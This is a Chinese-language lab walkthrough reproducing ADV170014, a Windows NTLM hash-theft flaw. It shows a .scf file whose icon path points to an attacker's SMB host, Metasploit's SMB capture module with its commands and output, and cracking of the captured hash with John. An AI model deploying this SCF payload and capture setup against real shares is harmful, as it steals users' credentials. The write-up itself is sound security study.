1. 程式人生 > >ADV170014 NTLM SSO 漏洞復現

ADV170014 NTLM SSO 漏洞復現

ntc 機制 run machine 虛擬 關閉 server ref his

2017年10月,微軟周二補丁日發布的補丁中有一個可選的安全補丁:ADV170014,這個補丁修復了NTLM認證機制的一個bug,惡意攻擊者可以利用這個bug竊取用戶密碼hash並可以遠程利用該漏洞讓目標機器死機。

0x01 攻擊環境:

kali 192.168.2.96

windows7 192.168.2.94

0x02 模擬攻擊:

在windows7上建立一個共享文件夾,並設置everyone讀取權限,訪問密碼

技術分享

技術分享

然後關閉訪問密碼

技術分享

修改自己當前設置的配置,我這裏網絡配置的為公用

技術分享

技術分享

技術分享

這時候就可以通過共享訪問share文件夾了

這時候放一個scf文件到該文件夾,內容如下:

[Shell]
Command=2
IconFile=\\192.168.2.96\share\test.ico
[Taskbar]
Command=ToggleDesktop

 這裏的ip這是為kali的ip(因為我之後要再kali上運行metasploit)

運行kali中metasploit,並使用auxiliary/server/capture/smb模塊

設置JOHNPWFILE路徑

msf > use auxiliary/server/capture/smb 
msf auxiliary(smb) > show options 

Module options (auxiliary/server/capture/smb):

   Name        Current Setting   Required  Description
   ----        ---------------   --------  -----------
   CAINPWFILE                    no        The local filename to store the hashes in Cain&Abel format
   CHALLENGE   1122334455667788  yes       The 8 byte server challenge
   JOHNPWFILE                    no        The prefix to the local filename to store the hashes in John format
   SRVHOST     0.0.0.0           yes       The local host to listen on. This must be an address on the local machine or 0.0.0.0
   SRVPORT     445               yes       The local port to listen on.


Auxiliary action:

   Name     Description
   ----     -----------
   Sniffer  


msf auxiliary(smb) > set johnpwfile /tmp/hash.txt
johnpwfile => /tmp/hash.txt
msf auxiliary(smb) > run
[*] Auxiliary module running as background job 0.

[*] Server started.
msf auxiliary(smb) > 

  這時候msf已經開始監聽

為了節省虛擬機內存,我直接用windows7 自己去測試

技術分享

技術分享

然後kali中就監聽到了數據

技術分享

密碼的hash加密

此時,我們設置了文件的保存位置,進入該目錄下,使用john命令來破解密碼

技術分享

成功得到用戶名為admin ,密碼為1234。

該文章參考自:https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458286248&idx=1&sn=4cdbf73f47753a979024958622b468e7&chksm=b181482286f6c1348bfb6be7e52716381befddb979c5e7b94335c71f9532e9691e979833df78&scene=38#wechat_redirect

ADV170014 NTLM SSO 漏洞復現